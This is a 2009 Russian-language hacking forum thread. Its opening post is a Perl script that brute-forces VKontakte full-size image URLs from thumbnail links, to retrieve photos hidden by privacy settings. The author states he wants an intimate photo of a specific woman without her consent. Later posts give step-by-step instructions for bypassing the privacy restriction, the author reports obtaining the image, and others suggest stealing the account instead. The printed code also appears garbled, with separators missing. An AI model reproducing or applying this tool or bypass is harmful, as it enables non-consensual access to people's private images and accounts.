vkontakte image bruteforce

Discussion in 'Социальные сети' started by flatr0ze, 31 Jul 2009.

  1. flatr0ze

    flatr0ze New Member

    Joined:
    30 Jul 2009
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    Идея заключается в следующем: [в]контакте существуют альбомы с фотографиями, и ксожалению, зачастую полноразмерные картинки скрыты (чаще всего по инициативе пользователя).
    Альбомы выглядят вот так: http://vkontakte.ru/album1_63553226
    Тамбы имеют адрес вида: http://cs117.vkontakte.ru/u00001/63553226/m_18b46833.jpg
    Тогда как полное изображение: http://cs117.vkontakte.ru/u00001/63553226/x_fbca3166.jpg

    Следует заметить, что единственное, что отличает тамб от фулпика - это 8 абсолютно_рандомных символа и наличие x_ вместо m_ перед ними. Сервер и папка с изображением и тамбом всегда одна и таже. Символы - вероятно кусок хэша, или еще какая-нибудь мунга-бунга. При любом раскладе, они у этих файлов разные.

    Брутфорс осуществляется подбором этих 8 символов двумя способами:
    1. По "словарю", что оставлено на случай если можно будет найти закономерность по которым вычисляется комбинация символов.
    2. Рандомно, "налету".

    8 символов при средней скорости в 50 комбинаций в секунду (проверено из Москвы, стрим), будут брутить одну картинку почти 2 тысячи лет;
    2 символа чуть меньше минуты;
    3 за 15;
    ну а на 4 уйдет 8-10 часов;

    При наличии файла на сервере, скрипт сохранит файл в папку инициализации, под именем вида x_hash1234.jpg

    Чтобы эта вещь могла принести пользу раньше, чем через тысячу-другую лет, необходимо поднять скорость в 100000 раз (50*100000=5,000,000). Через юрл сделать это не представляется возможным, так что, остается только один путь...

    Один путь заключается в нахождении зависимости сгенерированного куска хэша от времени загрузки, размера файла, имени файла, или, на худой конец, от мд5 оригинала. Далее, будет создан другой script.pl, который будет генерировать хэшлист, основываясь на известных параметрах изображения.

    Еще более сумасшедний способ генерирования таких хэшлистов, это создание script.pl с "пауком", который сканировал бы все альбомы вконтакте, и логил бы возможные варианты после x_...
    на два полных гига целый день уходит...
    Зато, данный способ может прокатить, если рандом не такой уж и хороший, и комбинации действительно дублируются.

    x_vkontakte.pl

    PHP:
    #!/usr/bin/perl
    # version: 0.8.4
    # author: flatr0ze
    # e-mail: [email protected]

    use LWP::Simple;

    print 
    "\n1. Paste the full path of the image thumbnail:\n] ";
    chomp($m_path1234 = <STDIN>);

    $folder =  substr $m_path12340, -14;
    $m_filename =  substr $m_path1234, -14;
    $m_hash1234 =  substr $m_filename2, -4;
    print 
    "Parsing thumbnail...\n\n";
    print 
    "Image folder: ".$folder."\n";
    print 
    "Thumbnail filename: ".$m_filename."\n";
    print 
    "Thumbnail hash: ".$m_hash1234."\n\n";

    print 
    "2. Enter path to the hashlist, or leave it empty to run hash generator: \n] ";
    chomp($hashlist = <STDIN>);

    if (
    $hashlist) {

        print 
    "Loading hashlist...\n\n";

        
    open(HASHLIST$hashlist) || die "Error: Could not open hashlist file.\n";

    #    $attempts = <number of lines>; // depleted

        
    while ($string = <HASHLIST>) {
            
    $hash1234 substr $string08;
            if (
    length($hash1234) > 7) {
                
    $url =  $folder."x_".$hash1234.".jpg";
                if (
    head($url)) {
                    print 
    "File ".$url." exists!\n\n";
                    print 
    "Saving...\n\n";
                    
    getstore($url"x_".$hash1234.".jpg");
                } else {
                    print 
    "File ".$url." doesn't exist.\r\r";
                }
            }
        }

        
    close(HASHLIST);

        print 
    "\n\nFinished!\n\n";

    } else {

        
    $attempts 100000000;

        print 
    "Starting hash generator with ".$attempts." attempts...\n\n";

        for (
    $i 0$i <= $attempts$i++) {
            
    $hash1234 generateHash();
            
    $url =  $folder."x_".$hash1234.".jpg";
            if (
    head($url)) {
                print 
    "[".$i."/".$attempts."] ";
                print 
    "File ".$url." exists!\n\n";
                print 
    "Saving...\n\n";
                
    getstore($url"x_".$hash1234.".jpg");
            } else {
                print 
    "[".$i."/".$attempts."] ";
                print 
    "File ".$url." doesn't exist.\r\r";
            }
        }

        print 
    "\n\nFinished.\n\n";

    }

    sub generateHash {
        
    my @chars = ('a'..'z','0'..'9');
        
    my $hash;
        for (
    0..7) {
            
    $hash .= $chars[int rand @chars];
        }
        return 
    $hash;
    }

     
    1 person likes this.
  2. Gordiy

    Gordiy Elder - Старейшина

    Joined:
    19 Mar 2008
    Messages:
    61
    Likes Received:
    2
    Reputations:
    0
    оболдеть! вот это теория а на практикке реально такое осуществить?
     
  3. flatr0ze

    flatr0ze New Member

    Joined:
    30 Jul 2009
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    объясняю еще раз...
    эта вещь работает, и проверена мною лично, так как я же её и написал.
    единственная проблема - это время:через 2к лет ни компов, ни жпега, ни нас уже не будет.
    если найти закономерность генерации этих символов, то картинку из вконтакта можно будет достать любую!
     
  4. flatr0ze

    flatr0ze New Member

    Joined:
    30 Jul 2009
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    Это даже не обсуждается ;)
    Решение может быть в возможной зависимости х_хэша1234 от м_хэша1234
    Тут криптография и сложные числа, я здесь сам не справлюсь.
     
  5. flatr0ze

    flatr0ze New Member

    Joined:
    30 Jul 2009
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    отличные новости! родина-мать тебя не забудет!
    спасибо за саппорт!
     
    1 person likes this.
  6. hiphop191817

    hiphop191817 New Member

    Joined:
    25 Apr 2009
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    Интересно только, зачем это всё нужно, если фотографии защищённые настройками приватности можно посмотреть включив "ускоренный режим просмотра фотографий"?
     
  7. flatr0ze

    flatr0ze New Member

    Joined:
    30 Jul 2009
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    Лично мне - скачать полноразмерную фотку где виден кусок задницы одной клевой тёлы.
    Вторая мотивация - это конечно же, интерес!

    Что такое "ускоренный режим просмотра фотографий"?
     
  8. unl1m

    unl1m Banned

    Joined:
    25 Nov 2008
    Messages:
    0
    Likes Received:
    18
    Reputations:
    0
    Спасибо ТС
     
  9. ViLKaa

    ViLKaa Member

    Joined:
    24 Jul 2009
    Messages:
    41
    Likes Received:
    7
    Reputations:
    5
    Хм..написал недавно прогу..
    http://forum.antichat.ru/threadnav114377-7-10.html
    68й пост..но она качает только открытые альбомы.

    Нов процессе разбора заметил..что в большинстве случаев..

    попадаются пары отличающиеся только Х

    2298267/m_f5a50e8e2e.jpg
    2298267/x_f5a50e8e2e.jpg

    Далее...если скрыт альбом..то как узнать у фотки это место http://cs40. онож всевремя разное
     
  10. gluke

    gluke Banned

    Joined:
    6 Jun 2008
    Messages:
    33
    Likes Received:
    40
    Reputations:
    1
    Этот вариант работает только для "фотографии со мной" но не для альбомов.

    ТС молодца, правда имхо проще акк угнать :)
     
  11. flatr0ze

    flatr0ze New Member

    Joined:
    30 Jul 2009
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    Прога хорошая, отличная работа!
    ---------------------------------------------
    Не исключаю что подобные парные хэши тамбов и пиков могут иметь место, но вот только лично я не встречал их. Возможно, это остаточное явления старого хэширования имен файлов самого [в]контакта, когда подобная защита скрытых картинок была расчитана только на полностью скрытые альбомы, т.е. когда даже имя\сервер тамба не известен.
    Далее...если альбом полностью скрыт, то сервер не узнать. Но тут встает вопрос: как вообще мы знаем о существовании пикчера ради которого готовы брутить 2000 лет (с), если альбом скрыт и мы даже не знаем что хотим достать? :)
    А у тамба и пики - повторюсь, сервера одинаковые, во всяком мне только одинаковые поадались. Возможно, если пикчер переезжает на другой сервак, то временно(хорошо если так), сервера могут быть разными.
     
  12. flatr0ze

    flatr0ze New Member

    Joined:
    30 Jul 2009
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    Расскажи про метод всеравно, пожалуйста. Возможно, натолкнет\подскажет.

    Спасибо! Насчет аккаунта - ты прав, это гораздо быстрее 2 тысяч лет (с), ибо брут пароля (даже самого наркоманского), займет меньше времени.
    Конкретно в моем случае, это фота девочки с которой я вижусь все чаще в последнее время, и лично я стараюсь не терять уверености в том, что я ее... как бы так... что я сбручу ее жопу вреале раньше чем через 9000 лет =)
    + Я у нее дома был не раз, и мог бы просто с ее вконтакта нажать 3 ссылки и посмотреть эту фоту... но это ведь так низко! :D
    Дело опяттаки, в интересе! Сегодня сложно найти реально кого-то кого можно раздевать глазами - все и так голые)) Интернет дает нам возможность ощутить первобытный интерес.
     
  13. hiphop191817

    hiphop191817 New Member

    Joined:
    25 Apr 2009
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    Ещё ни разу не встречал альбомы, где фотки нельзя посмотреть в полном разрешении. У тс вверху у той фотки с тигром адрес большой фотки такой http://vkontakte.ru/photo1_120350036
     
  14. flatr0ze

    flatr0ze New Member

    Joined:
    30 Jul 2009
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    Эта фотография открыта для всеобщего просмотра. Я НЕ являюсь другом Павда Д. (ох, какое упущение), и дал эту ссылку как пример для данного треда.
    [В]контакте существуют фотографии с частично ограниченым доступом. Без доступа (будь то "дружелюбность", членство в группе или просто банальная удача) по ссылке http://vkontakte.ru/photo1_120350036 изображение просмотреть было бы невозможно.
    Я писал брут на перле для получения прямой ссылки, исходя из адреса тамбнейла (маленькая картинка).
     
  15. hiphop191817

    hiphop191817 New Member

    Joined:
    25 Apr 2009
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    flatr0ze, за всё моё время пребывания вконтакте, я ниразу не встречал фотографий в альбомах, которые нельзя бы было посмотреть в полном расширении, зато видел кучу фоток в меню "фотографии со мной" где вместо того чтобы высветить фотку во полный рост, показывается наинеприятнейшая табличка "фотография защищена настройками приватности". Но к счастью это ограничение легко обходится...
     
  16. flatr0ze

    flatr0ze New Member

    Joined:
    30 Jul 2009
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    Такое там сплошь и рядом - когда, например, ты смотришь фотографию из альбома френда твоего френда, и у того "френдофренда", доступны фотки только френдам. В этом случае ты увидишь лишь тамб, и при нажатии на него ты какраз-таки и получишь неприличную картинку.
    Ты прав, идея у меня была мотивирована какраз-таки фоткой из "фотографии со мной" со страницы подруги-подруги, следственно я не смог просмортеть ее "вполный рост".
    Я был бы очень тебе признателен, если бы ты мне показал как это обойти, и мне не пришлось бы брутить 2000 лет 8 символов!
    А конкретно по теме: интерес превыше всего! Вконтакте существуют ситуации когда дальше тамбнейла нельзя просмотреть фотку - это факт.
     
  17. hiphop191817

    hiphop191817 New Member

    Joined:
    25 Apr 2009
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    Обойти то где есть надпись "фотографии защещены настройками приватности" можно так:
    -нажать на меню "Включить ускоренный режим просмотра фотографий »" -оно находится внизу за фотками и коментариями к ней
    -найти фотку которая не защищена настройками приватности
    -и стрелочками дойти до той фотки которая была защищена настройками приватности
     
  18. flatr0ze

    flatr0ze New Member

    Joined:
    30 Jul 2009
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    ХА! Я достал задницу которую искал! Хэш был e69931f5, я бы брутил его порядка 20 лет если бы даже и знал что там всего 2 буквы ^^
    Спасибо за туториал по багу, hiphop191817! Ты сегодня осчастливил одного хакера как минимум!
     
  19. flatr0ze

    flatr0ze New Member

    Joined:
    30 Jul 2009
    Messages:
    6
    Likes Received:
    3
    Reputations:
    0
    Словами хаксора истина глаголится!
     
  20. hiphop191817

    hiphop191817 New Member

    Joined:
    25 Apr 2009
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    Такое встречается крайне редко, особенно в тех анкетах где много фотографий